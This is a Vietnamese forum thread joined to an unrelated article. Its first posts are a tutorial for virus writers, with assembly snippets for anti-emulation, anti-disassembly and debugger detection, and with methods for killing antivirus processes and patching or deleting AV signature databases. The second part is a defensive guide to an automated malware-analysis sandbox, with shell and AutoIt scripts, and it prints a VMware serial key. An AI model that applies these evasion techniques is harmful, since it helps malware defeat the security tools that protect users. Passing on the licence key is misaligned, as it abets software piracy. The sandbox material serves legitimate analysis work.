Trước kia trên DOS tôi thích sử dụng vài kỹ thuật bẫy ngắt với:
- Int 0 (divide by zero). Chỉ cần một phép chia cho 0, bạn sẽ nhảy ngay đến code mới mà emulator không theo vết được (ta có thể âm thầm descrypt ở đây)
- Dấu code gọi ngắt:
mov ax, 3D02h-key
add ax, key
int 21h ;Tránh để lộ thao tác đọc file
- Với 386/486 ngày xưa có thể cùng queue fetch (xin lỗi vì tôi hơi hoài cổ một chút):
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop
code này ngày nay không dùng được. Bạn sẽ nghĩ chương trình sẽ kết thúc vì lệnh int 20h (20CDh) ư? Không đâu! với 386/486 code chạy vẫn là nop
Thế nhưng ngày nay kỹ thuật này biến thể một chút vì các CPU pentium không có queue fetch nhưng các emulator phát triển từ xưa vẫn nghĩ là có. Kỹ thuật đảo lại là:
mov word ptr [offset prefetch], <mã lệnh jump>
prefetch:
int 20h
(sao bạn không cười? tôi có trình khó hiểu quá không nhỉ? )
- Tương tự ngắt int 0. Bạn có thể bẫy int 1, int 6
Thôi kết thúc DOS. Trở lại win ta có thể dùng:
- Structured Exception Handling (SEH). Kỹ thuật này phổ biến quá rồi ha
- Threads and fibers
- Pentium+, copro, MMX, 3DNow! opcodes (undocumented opcodes)
- Kỹ thuật đa hình metamorphism
- Nhảy bằng Callbacks
- .......
Chắc mọi người biết cả rồi vì tôi mới trở lại với "Nghệ thuật hắc ám" gần nên kiến thức trên win không mới lắm.

Anti-Analysis
Ở phần này tôi muốn nói về chống disassemblers. Ai cũng biết mấy thằng disassemblers thông dụng như IDA, Sourcer hay win32dasm. Nếu bạn là người xây dựng chương trình disassemblers bạn sẽ làm thể nào. Tất nhiên dễ nhất là bắt đầu từ đầu chương trình, dasm tuần tự. Nếu code tuần tự như tiến ta có kết quả đẹp nhất. Nếu không sau lần chạy thứ nhất ta sẽ hiệu chỉnh lại code theo các lệnh nhảy và call... Thử chạy sourcer, bạn sẽ thấy điểm yếu nhất của disassemblers là rất, rất khó xử lý lệnh call và jump. Vậy phương pháp của V-er là:
- Mã hoá càng nhiều càng tốt
- Sử dụng call với relative offset kiểu
call label
gdelta: db 0b8h ;MOV opcode
label: pop ebp
...
mov eax, [ebp + variable - gdelta]
(Cách này có ở đa số VR rồi)
- Nhảy vào ... giữa mã lệnh:
jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h
Bạn có thể thấy ngay thực ra đây không phải lệnh mov mà lệnh ta là 0fcebfa90h cơ
- Chèn các mã kiểu (db 0b8h) vào nhiều nơi sau các lệnh ret, jmp, ...
- Patch code runtime (tương tự kiểu queue fetch ở trên
- ...

Anti-Debug
Các AVer đã tóm được một mẫu VR của bạn. Hix.. bây giờ thì quá khó. Tuy vậy ta cũng có thể chống đỡ trong ... tuyệt vọng. Với Anti-Debug, nếu AVer không cao thủ họ mới nghi ngờ thôi thì cũng có thể bỏ cuộc. Vả lại có chết cũng cho oanh liệt, gây khó khăn chứ. Nếu không disassemble được người diệt sẽ debug. Cách thông thường là tìm xem có phần mềm debugger thông dụng kiểu softice thì chuồn lẹ. Các cách nhận biết debugger có thể là:
- Gọi luôn API của debugger
- Kiểm tra debugger context
- Sử dụng SEH (xem trên)
- Gọi VxD service (Ring-0 only)
- Kiểm tra softice trên bộ nhớ bằng CreateFileA
- Chọc vào các thanh ghi debug (Ring-0 only)

Anti-Monitor
Cũng vậy thôi, ta tìm xem có thằng AV nào thông dụng đang chạy trên bộ nhớ thì chuồn. Có thể dùng hàm API FindWindowA mà tìm. Nếu thấy thịt nó luôn bằng cách sử PostMessageA đến window handle của nó

Anti-Antivirus
Chủ động tìm database của AV trên đĩa mà thịt (có thể AV sẽ không chạy được nữa). Hay nhất là patch được database (AV chạy bình thường nhưng không tìm được VR nữa. Một số db thông dụng:
*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file

Anti-Bait
Chọn file mà lây. Tránh các AV, tránh mấy chương trình thông dụng kiểu winword.exe. Như ngày xưa trên DOS ta hay tránh command.com í

Tóm lại, tôi tổng kết các kỹ thuật ở đây, đây là theo những gì tôi hiểu nên sai các bác bỏ qua cho. Nếu tôi trình bày khó hiểu quá thì hix... trình độ sư phạm tôi thế thôi. Đây toàn là í tưởng các Ver chuyên nghiệp đã dùng nếu bạn là Ver đã từng viết VR chắc sẽ hiểu ra và tự xây dựng đoạn code cho riêng mình được.
  [Hỏi đáp]   Re: Kĩ thuật lập trình Virus - Copyright Spinx 26/06/2006 11:49:35 (+0700) | #2 | 938
BigballVN
Elite Member

[Minus]    0    [Plus]
Joined: 12/06/2005 07:25:21
Bài gởi: 611
Offline
[Profile] [PM]
Tôi sẽ đưa thêm một số ví dụ về từng kỹ thuật đã đề cập phía trên

Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.

- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present
Gọi hàm API Win98/NT kiểm tra API level debugger

- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present
- Sử dụng SEH
call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)

mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]

- Gọi VxD service (Ring-0 only)
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present

- Kiểm tra softice trên bộ nhớ bằng CreateFileA
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT
- Chọc vào các thanh ghi debug (Ring-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0

Anti-Heuristics bằng bẫy ngắt trên DOS:

INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã hoá VR:

mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2501h ; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h

db 0F1h ; Giải mã VR

mov ax, 2501h ;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h


[...]

int1_handler:
;...Giải mã/ mã hoá VR here...
iret

Hoặc ta có thể làm mất vết bằng cách:
[...]

db 0F1h ;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h ;Thực ra chẳng bao giờ quit

;---- VR tiếp tục bình thường

[...]

int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret

INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h

mov ax, 3506h ;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2506h ;Bẫy ngắt
mov dx, offset int6_handler
int 21h

dw 0FFFFh ;Tự tạo lỗi

mov ax, 2506h ;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h

[...]

int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2 ;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret

Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên

[HVA] Các bước xây dựng một hệ thống phân tích malware tự động - seamoun

Như các bạn đã biết, hiện nay có rất nhiều malware xuất hiện, do vậy với lượng malware ngày càng nhiều như vậy thì việc phân tích chúng cũng rất mất nhiều thời gian, chưa kể đến những malware phức tạp. Bài viết này với mong muốn giúp các bạn có thể hiểu sơ lược về hoạt động malware và cách thức xây dựng một hệ thống phân tích malware tự động như thế nào ? Theo ý kiến của seamoun thì không tham vọng xây dựng một hệ thống phân tích malware tự động mà có thể phân tích được tất cả malware xuất hiện, bởi vì malware hiện nay xuất hiện với nhiều hình thức khác nhau và hoạt động của chúng thì rất phức tạp (người phân tích soi còn không ra huống gì hệ thống tự động !!! smilie smilie ), thứ hai mà hệ thống có thể phân tích được tất cả các malware xuất hiện thì seamoun chắc nộp đơn xin nghỉ việc, vì mình chẳng có việc gì phải làm smilie smilie smilie smilie smilie smilie . Nhưng tại sao vẫn phát triển hệ thống phân tích malware tự động ? bởi vì hệ thống này sẽ giúp đỡ cho người phân tích bớt thời gian hơn cho những công đoạn mà người phân tích malware và cũng có cái nhìn tổng quát về những hành động, hành vi ban đầu của malware.

Ví dụ: Khi có một malware mới xuất hiện thì ban đầu để phân tích chúng thì phải chạy malware cho một môi trường độc lập (tức là môi trường khi mà malware thực hiện sẽ không gây hại gì cho hệ thống), môi trường như vậy người ta gọi là sandbox. Tiếp đến người phân tích sử dụng các công cụ phân tích sơ bộ rằng malware thực hiện những hành động gì khi chạy chúng (lưu registry key nào, tạo file gì mới trên hệ thống, thay đổi , tiêm nhiễm gì ....) sau đó sử dụng các công cụ như Ollydbg, IDA, ... để tiến hành phân tích code ... (ngồi đọc code và phân tích mấy con malware này chắc hacnho, mrro, ... các anh em khác trong HVA chắc rành hơn, còn seamoun nhìn thấy là hoa cả mắt smilie smilie ). Như vậy có một số hoạt động phân tích sơ bộ về malware lặp đi lặp lại trong quá trình phân tích malware thì có thể chuyển nó cho một hệ thống phân tích tự động trước khi người phân tích malware tiến hành phân tích sâu hơn.

Ý tưởng và triển khai như sau:
Sẽ có một máy Linux làm master, trên Linux sẽ thực hiện cài đặt một máy ảo (sử dụng VMWare) có cài đặt Windows XP (đây là môi trường để malware chạy và thực hiện phân tích). Linux và máy ảo chỉ kết nối Host-only, tức là chỉ có máy Linux và WMware nói chuyện được với nhau, để khi thực thi malware sẽ không làm ảnh hưởng đến các hệ thống khác. Trên máy Linux sẽ có một kịch bản shell được viết với mục đích thực hiện các phân tích ban đầu đối với malware (sẽ giải thích rõ hơn phần sau), tiếp đến sẽ thực hiện tự động bật VMware lên và đẩy malware vào môi trường VMWare, trên VMware sẽ có sẵn một số công cụ phân tích malware và thực hiện gọi script phân tích (sử dụng AutoIt Script) gọi các công cụ phân tích trên môi trường VMWare để tiến hành phân tích và tất cả các kết quả sau khi phân tích được xuất ra và gửi trở lại cho môi trường Linux và kết thúc quá trình phân tích.

Trên đây mình chỉ giới thiệu sơ bộ, chi tiết các bạn sẽ theo dõi phần sau đây:

I. Các bước xây dựng một Automatic Malware Ananlysis
I.1. Sử dụng một master script, script này sẽ chạy trên môi trường Linux và trên Linux có cài đặt sẵn WMWare có Windows XP SP2 (Sử dụng máy ảo này như một sandbox).

I.2. Trên Windows XP SP2 của máy ảo trong Linux nên chuẩn bị như sau:
Cấu hình IP Address tĩnh và để card mạng chỉ là Host-only
Tạo một thư mục chia sẻ VMWare để giao tiếp giữa Linux và WindowsXP
Đặt user và pass cho máy Windows XP
Firewall của Windows XP phải tắt
Windows XP Simple File Sharing nên tắt
Chuẩn bị công cụ SysInternal’s Process Monitor và RegShot, … có thể thêm công cụ phục vụ phân tích tùy thích.
Cài đặt AutoIT để cho kịch bản AutoIt có thể chạy được.


II. Triển khai ứng dụng
II.1. Cài đặt Backtrack trên hard disk
Sử dụng tiện ích ubiquity

II.2. Cài đặt VMWare Workstation trên Linux
Sử dụng phiên bản: VMware-Workstation-6.5.3-185404.i386.bundle
Số serial : MVDUJ-TF4DT-284DV-4W9Z7

II.3. Cấu hình network trên Linux và máy ảo Windows XP
Linux
eth0 ip: 192.168.1.234
vmnet1:192.168.32.1
Windows
Eth0 ip: 192.168.32.2
Gateway: 192.168.32.1

II.4. Cài đặt InetSim trên Linux
II.4.1. Giới thiệu
InetSim là một gói mà chứa các kịch bản Perl được sử dụng để mô phỏng các dịch vụ thông dụng như DNS, HTTP và FTP. Khi chạy, InetSim sẽ đợi những kết nối và log bất kỳ những gì mà nó nhận được trong định dạng log chuẩn, dễ đọc khi phân tích các kết nối ra ngoài của malware.

II.4.2. Cài đặt
Địa chỉ trang Web: http:/www.inetsim.org.
Xem yêu cầu cần thiết trước khi cài đặt InetSim: http://www.inetsim.org/requirements.html
Giải nén và cài đặt tại /usr/local/inetsim.
Tạo nhóm sử dụng cho InetSim
# groupadd inetsim
# ./setup.sh
Cấu hình
File cấu hình sẽ nằm tại thư mục sau: /usr/local/inetsim/conf/
Thiết lập hai tham số service_bind_address và dns_default_ip là địa chỉ của vmnet1.

II.5. Cài đặt Volatility Framework trên Linux
II.5.1. Giới thiệu
Để phục vụ cho việc Memory Analysis thì phải cần phải cài đặt Volatility Framework. Vì sao phải thực hiện Memory Analysis ? Bởi vì nhiều chương trình mã độc sử dụng packer để che dấu malware và làm khó khăn trong việc phân tích chúng. Tuy nhiên, packed malware phải unpacked trong bộ nhớ để thực thi. Bằng việc dumping một chương trình malware trong bộ nhớ, có thể kiểm tra nó mà không cần một packer.
Do chúng ta sử dụng máy ảo cho nên việc ngừng tạm thời hoạt động của máy ảo thì chúng ta có thể phân tích memory của máy ảo thông qua file có phần mở rộng là .vmem.

II.5.2. Cài đặt
Địa chỉ Volatility Framework: https://www.volatilesystems.com/default/volatility

II.6. Download PEiD và WinExe cho Linux
PeiD
Địa chỉ: http://blog.didierstevens.com/
WinExe
winexe thực hiện giống chức năng của chương trình psexec trên Windows, cho phép thực hiện lệnh từ xa.
Địa chỉ: http://eol.ovh.org/winexe/

II.7. Cài đặt AutoIt, Regshot, TCPView trên Windows
Cài đặt AutoIt
Địa chỉ: http://www.autoitscript.com/autoit3/
Cài đặt Regshot
Địa chỉ: http://sourceforge.net/projects/regshot
Cài đặt TCPView
Địa chỉ: http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
Lưu ý: công cụ Regshot và TCPView được tải về và cài đặt tại cùng một thư mục sau: c:\tools\
Hiện tại demo chỉ hai công cụ, có thể tích hợp nhiều công cụ khác và khi đó chỉ cần thêm kịch bản chạy trong AutoIt.


III. Kịch bản trên Linux (analyze.sh)
III.1. Giải thích biến khởi tạo
Code:
Tên biến Mục dích
 ANALYSIS_DIR Thư mục để chứa các report về malware, mỗi thư mục cấp dưới với md5 của malware là thư mục report về malware đã phân tích.
 SHARED_FOLDER Thư mực sử dụng để chia sẻ malware cần phân tích giữa mỗi trường Linux và Windows. Malware sẽ được copy đến đây và từ đây sẽ map sang môi trường Windows.
 INETSIM_DIR Thư mục cài đặt InetSim
 VM_LOAD_TIMEOUT Biến sử dụng để định thời gian load của máy ảo, tùy thuộc vào khả năng load của máy ảo có thể tăng hoặc giảm thời gian timeout, đơn vị thời gian là giây
 MALWARE_RUNTIME Là thời gian cho phép malware sẽ thực hiện trên máy ảo, đơn vị tính là giây
 TIMEOUT Số lượng thời gian mà script sẽ đợi cho việc dynamic analysis hoàn tất
 … Một số biến khác sẽ rõ trong quá trình giải thích chi tiết kịch bản.


III.2. Giải thích chi tiết kịch bản
III.2.1. Giải thích một số đoạn kịch bản ban đầu
Code:
 #Kiểm tra nếu như đối số 1 rỗng (tức không chỉ định malware cần phân tích) hoặc file đó không tồn tại và không đọc được thì thông báo và thoát
 if [ ! -n "$1" -o ! -r "$1" ]
 then
  echo "Usage: 'basename $0' executable"
  exit
 fi
 
 if [ ! -d ${SHARED_FOLDER} ]
 then
  mkdir -p ${SHARED_FOLDER}
 fi
 
 MALWARE="$1"
 MD5=`md5sum ${MALWARE} | awk '{print $1}'`
 # Malware sẽ được đặt trong thư mục $ANALYSIS_DIR/$MD5 của nó.
 if [ -d ${ANALYSIS_DIR}/${MD5} ] ; then
  echo "${ANALYSIS_DIR}/${MD5} already exists. Exiting."
 exit
 fi
 OUTDIR="${ANALYSIS_DIR}/${MD5}"
 echo ${MALWARE} ${MD5} >> ${ANALYSIS_DIR}/records.txt
 echo `date +"[%F %T]"` Starting analysis on ${MALWARE}.
 echo `date +"[%F %T]"` Results will be placed in ${OUTDIR}
 echo
 mkdir ${OUTDIR}
 REPORT=${OUTDIR}/${REPORT_NAME}


III.2.2. Giải thích phần Static Analysis
Trong kịch bản sử dụng dịch vụ của Team Cymru Hash Database. Ý nghĩa của dịch vụ này là gửi MD5 của malware cần phần tích đến dịch vụ và dịch vụ sẽ phản hồi lại: nếu như malware đó được được phát hiện thì nó sẽ hiển thị ngày giờ mà dịch vụ cập nhật và phần trăm phần mềm diệt virus diệt được nó.
Chi tiết về dịch vụ này có thể xem thêm tại:
http://www.team-cymru.org/Services/MHR/
Code:
 # Static Analysis
 echo -e "Analysis of ${MALWARE}\n" > ${REPORT}
 echo "MD5 Hash: ${MD5}" >> ${REPORT}
 echo "Team Cymru Hash Database:" >> ${REPORT}
 whois -h hash.cymru.com ${MD5} >> ${REPORT}
 # grab both ASCII and UNIcode strings from the sample
 echo `date +"[%F %T]"` Running strings.
 (strings -a -t x ${MALWARE}; strings -a -e l -t x ${MALWARE}) \
 | sort > ${OUTDIR}/strings.txt
 # run pecheck.py
 echo `date +"[%F %T]"` Running pecheck.py.
 python pecheck.py -d ${PEID_DB} ${MALWARE} > ${OUTDIR}/pecheck.txt


Tiếp theo là thực hiện grab các ASCII và UNION string có trong malware. Trong file thực thi của malware khi chúng ta thu thập các string này có thể giúp ích có một số thông tin về malware như : có thể địa chỉ url mà malware có thể kết nối đến, các tài nguyên mà malware lấy, … Tuy nhiên việc thu thập này chỉ là phần phụ, nhỏ bởi hầu như các malware hiện nay đều được packed, do vậy string sẽ xuất hiện dưới dạng string không tường minh.
Đoạn mã thực hiện python pecheck.py, pecheck.py là một chương trình Python được viết bởi Didier Stevens để xuất thông tin PE header từ malware. Thông tin này sẽ rất hữu ích bởi vì nó cho biết malware được biên dịch khi nào, các phân đoạn thực thi và các hàm được import vào. Hơn nữa nó còn so sánh với PeiD database để biết được malware được pack bởi loại packer nào.

III.2.3. Khởi động InetSim
Code:
 echo `date +"[%F %T]"` Starting InetSim.
 CWD=`pwd`
 mkdir -p ${OUTDIR}/inetsim
 cd ${INETSIM_DIR}
 sudo ./inetsim --session inetsim --config ${INETSIM_DIR}/conf/inetsim.conf \
 --log-dir ${OUTDIR}/inetsim --report-dir ${OUTDIR} > /dev/null & cd ${CWD}


InetSim phải được chạy dưới quyền root, do vậy sử dụng lệnh sudo. Và ý nghĩa của các tham số như sau:
-session: chỉ định tên cho phiên làm việc.
-config: chỉ định nơi cấu hình được nạp.
-log-dir: chỉ định nơi log.
-report-dir: chỉ định nơi xuất ra report.
Sẽ có ba file log được tạo ra đó là debug.log, service.log và main.log. Ý nghĩa của main.log chỉ đề cập đến hoạt động của InetSim (những vấn đề liên quan đến hoạt động của InetSim). Phần chúng ta quan tâm đó là phần mà malware kết nối ra ngoài sẽ được lưu tại service.log.

III.2.4. Khởi động Tcpdump

Code:
echo `date +"[%F %T]"` Starting tcpdump.
 sudo tcpdump -i vmnet1 -n -s 0 -w ${OUTDIR}/tcpdump.pcap &
 TCPPID=`jobs -l | grep "sudo tcpdump" | awk '{ print $2 }'`


Tác dụng của TCPDump là một sniffer trên Linux, sử dụng nó để quan sát và ghi lại những hoạt động trao đổi của malware với môi trường ngoài, mà ở đây là Linux, do ta cấu hình Linux và Windows XP là Host-only, nên ta thực hiện sniff trên card vmnet1.

III.2.5. Khởi động VMWare
Code:
 # Start up VMWare
 # First we revert to our base snapshot
 vmrun revertToSnapshot "/root/vmware/MalwareAnalysis/sandbox.vmx" base
 # Then we start VMWare running
 echo `date +"[%F %T]"` Starting VMWare.
 vmrun start "/root/vmware/MalwareAnalysis/sandbox.vmx"
 sleep ${VM_LOAD_TIMEOUT}
 # Move the malware over to the sandbox
 cp ${MALWARE} ${SHARED_FOLDER}/malware.exe
 # Set up the share and execute the AutoIT script
 echo `date +"[%F %T]"` Setting up network share.
 winexe -U WORKGROUP/analysis%analysis --interactive=1 --system //192.168.32.2 'cmd /c net use z: \\192.168.32.1\malware'
 echo `date +"[%F %T]"` Starting dynamic analysis script.
 winexe -U WORKGROUP/analysis%analysis --interactive=1 --system //192.168.32.2 "c:\progra~1\autoit3\autoit3.exe c:\tools\scripts\analyze.au3  z:\malware.exe z:\ ${MALWARE_RUNTIME}"
 sleep ${MALWARE_RUNTIME}
 LOOP=0
 echo `date +"[%F %T]"` Starting check for finished file.
 # Check for finished file - if not there, wait
 while [ ! -f ${SHARED_FOLDER}/_analysis_finished ] ; do
  echo Checking...
  sleep ${TIMEOUT}
  LOOP=$(( $LOOP + 1 ))
  if [ ${LOOP} -gt 5 ] ; then
   echo `date +"[%F %T]"` ERROR: Sandbox is hung.
   break;
  fi
 done
 # Remove the share
 echo `date +"[%F %T]"` Removing network share.
 winexe -U WORKGROUP/analysis%analysis --interactive=1 --system //192.168.32.2 'cmd /c net use z: /delete'
 # Stop the VMWare Image
 echo `date +"[%F %T]"` Suspending VMWare.
 vmrun suspend "/root/vmware/MalwareAnalysis/sandbox.vmx"


1) Trước khi thực hiện chạy kịch bản ta cần phải Take SnapShot VMWare 1 lần và đặt tên nó là base.

2) vmware revertToSnapShot "/root/vmware/MalwareAnalysis/sandbox.vmx" base sẽ đưa VMWare về trạng thái SnapShot mà chúng ta đã lưu. Cần phải làm như vậy bởi vì VMWare phải luôn đặt trong tình trạng chưa có bất kỳ malware nào thực hiện trước khi chép malware vào máy ảo phân tích.

3) Khởi động VMWare và copy malware cần phân tích vào thư mục shared trên Linux.

4) Sau khi khởi động xong máy ảo Windows XP SP2 (trước đó chúng ta đã tạo một user và pass là analysis) chúng ta sẽ thực hiện map thư mục chia sẻ trên Linux vào máy Windows XP. Lưu ý nếu trên Linux không thể chia sẻ được có thể do chưa cài dịch vụ Samba, do vậy cần phải cài dịch vụ Samba để Linux có thể chia sẻ file.

5) Khởi động script analysis.au3 trên Windows XP để chạy kịch bản phân tích malware tự động trên Windows XP.

6) Chờ đợi kết quả từ máy ảo Windows XP, việc chờ đợi sẽ kết thúc khi máy ảo Windows XP xuất file _analysis_finished.

7) Sau khi kết thúc kịch bản analysis.au3 trên Windows XP thì sẽ gỡ bỏ map ổ đĩa trên Windows XP và suppend máy ảo.

III.2.6. Thực hiện Volatility trên Memory
Code:
# Run Volatility on memory
 echo `date +"[%F %T]"` Starting Volatility psscan2.
 python /usr/local/src/Volatility-1.3_Beta/volatility psscan2 -f "/root/vmware/MalwareAnalysis/sandbox.vmem" \
 > ${OUTDIR}/volatility-psscan.txt
 echo `date +"[%F %T]"` Starting Volatility connscan2.
 python /usr/local/src/Volatility-1.3_Beta/volatility connscan2 -f "/root/vmware/MalwareAnalysis/sandbox.vmem" \
 > ${OUTDIR}/volatility-connscan2.txt
 echo `date +"[%F %T]"` Starting Volatility dlllist.
 python /usr/local/src/Volatility-1.3_Beta/volatility dlllist -f "/root/vmware/MalwareAnalysis/sandbox.vmem" \
 > ${OUTDIR}/volatility-dlllist.txt
 echo `date +"[%F %T]"` Starting Volatility modscan2.
 python /usr/local/src/Volatility-1.3_Beta/volatility modscan2 -f "/root/vmware/MalwareAnalysis/sandbox.vmem" \
 > ${OUTDIR}/volatility-modscan2.txt
 # Move Results
 echo `date +"[%F %T]"` Cleaning up.
 mv ${SHARED_FOLDER}/* ${OUTDIR}


1) Sẽ thực hiện psscan2 module. Điều này rất hữu ích để phân tích các rootkit thường ẩn các tiến trình của malware trên hệ thống. Bằng việc truy vấn trực tiếp vào các danh sách tiến trình từ bộ nhớ, rootkit không thể ẩn tiến trình của chúng và người phân tích có thể quan sát một cách trực quan các tiến trình chạy trên hệ thống đã nhiễm malware.

2) Tiếp đến sẽ thực hiện truy vấn các kết nối trên hệ thống bị nhiễm với connscan2 module. Bởi vì những kết nối cũng có thể ẩn bởi rootkit, do vậy truy vấn trực tiếp lấy những kết nối mạng từ bộ nhớ sẽ cho phép người phân tích thấy được những kết nối trong hệ thống bị nhiễm malware.

3) Cuối cùng sẽ thực hiện xem thử những dll nào được nạp trong quá trình malware thực thi bằng cách sử dụng modscan2, bởi vì malware có thể tự nó nhiễm qua một tiến trình khác như là một DLL hoặc tự nó nạp, …

III.2.7. Kịch bản kết thúc quá trình phân tích
Code:
# Stop tcpdump. Since its running as root we need to sudo to kill it
 if [ ! -z ${TCPPID} ]; then
  sudo kill ${TCPPID}
 fi
 # Stop InetSim
 if [ -f /var/run/inetsim.pid ] ; then
  INETPID=`cat /var/run/inetsim.pid`
  sudo kill ${INETPID} > /dev/null
  wait ${INETPID}
 fi
 # check to see if malware.exe is in the outdir - if so, delete it
 if [ -f ${OUTDIR}/malware.exe ]; then
  rm -f ${OUTDIR}/malware.exe
 fi
 # Reset permissions on the files
 sudo chown -R ${WHOAMI} ${OUTDIR}
 echo `date +"[%F %T]"` Analysis finished.


IV. Kịch bản trên Windows
Code:
; AutoIT Windows Malware Automation Script
 Func startRegshot($logDir)
 ; Start up regshot as user analysis
 RunAs("analysis","","analysis",0,"c:\tools\regshot\regshot.exe")
 WinActivate("Regshot")
 WinWaitActive("Regshot")
 ; set to plain text
 ControlClick("Regshot","Plain &TXT","Button7")
 ; set scan dir info
 ControlClick("Regshot","&Scan dir1","Button9")
 ControlClick("Regshot","",1027)
 send("{HOME}")
 send("{LSHIFT}+{END}")
 send("c:\")
 ; set output dir
 ControlClick("Regshot","",1026)
 send("{HOME}")
 send("{LSHIFT}+{END}")
 send($logDir)
 ; set the comment
 ControlClick("Regshot","",1025)
 send("regshot")
 ; Start the scan
 ControlClick("Regshot","&1st shot","Button1")
 send("s")
 ; wait until the scan is done or 30 seconds
 WinWaitActive("Regshot","Dirs:",30)
 EndFunc
 Func stopRegshot()
 ; WinWaitActive("Regshot")
 WinSetState("Regshot","",@SW_RESTORE)
 WinActivate("Regshot")
 ; stop the scan and run the second shot
 WinWaitActive("Regshot")
 ControlClick("Regshot","&2nd shot","Button2")
 send("s")
 ; now compare
 WinActivate("Regshot")
 WinWaitActive("Regshot","c&Ompare",10)
 send("o")
 ; Wait for notepad to pop up
 WinWait("[CLASS:Notepad]", "")
 WinActivate("[CLASS:Notepad]", "")
 WinClose("[CLASS:Notepad]", "")
 ; Close Regshot
 WinActivate("Regshot")
 WinClose("Regshot")
 EndFunc
 Func startProcmon()
 ; Start ProcMon
 ; Run Procmon as user analysis
 RunAs("analysis","","analysis",0,"c:\tools\procmon\procmon.exe")
 WinWaitActive("Process Monitor - Sysinternals: www.sysinternals.com")
 EndFunc
 Func stopProcmon($logDir)
 ; stop procmon
 WinActivate("Process Monitor")
 ; stop procmon with a CTRL+e and wait for it to finish
 Send("^e")
 WinWaitActive("Process Monitor - Sysinternals: www.sysinternals.com")
 ; save the captured data with CTRL+s
 Send("^s")
 WinActivate("Save To File","Events to save:")
 ControlSetText("Save To File","Events to save:",1027,$logDir & "procmon.csv")
 ; save the output in CSV format
 ControlClick("Save To File","Events to save:","Button7")
 ControlClick("Save To File","Events to save:",1)
 ; If the file already exists, overwrite it
 if WinWaitActive("Process Monitor","&Yes",1) Then
 ControlClick("Process Monitor","&Yes","Button1")
 EndIf
 WinClose("Process Monitor - Sysinternals: www.sysinternals.com")
 EndFunc
 ; Main Function
 ; There are 2 options required – make sure they are there
 If $CmdLine[0] <> 3 Then
 msgbox(4096,"ERROR","Usage: malware.exe dir_to_log pause_time",10)
 Exit
 EndIf
 ; The malware to execute is the 1st parameter
 $malware=$CmdLine[1]
 $runmalware="c:\tools\malware\malware.exe"
 ; The dir to log to is the 2nd parameter
 $logdir = $CmdLine[2]
 $saveresult=$logdir
 $logdir="c:\tools\malware\"
 ; The time to pause (in seconds) is the last parameter
 $pauseTime = $CmdLine[3]
 ; start our monitoring tools
 filecopy($malware,$runmalware,1)
 startRegshot($logdir)
 startProcmon()
 WinMinimizeAll()
 ; run the malware as user analysis
 RunAs("analysis","","analysis",0,$runmalware)
 ; wait – note time is in milliseconds
 sleep($pauseTime * 1000)
 ; stop our monitoring tools and save the results
 stopProcmon($logdir)
 stopRegshot()
 FileDelete("z:\*.*")
 filecopy("c:\tools\malware\*.*","z:\*.*",1)
 ; let them know we're finished by creating a FileChangeDir
 $file=FileOpen($logdir & "_analysis_finished",10)
 FileClose($file)
 FileCopy($logdir & "_analysis_finished","z:\_analysis_finished",1)
V. Kết luận
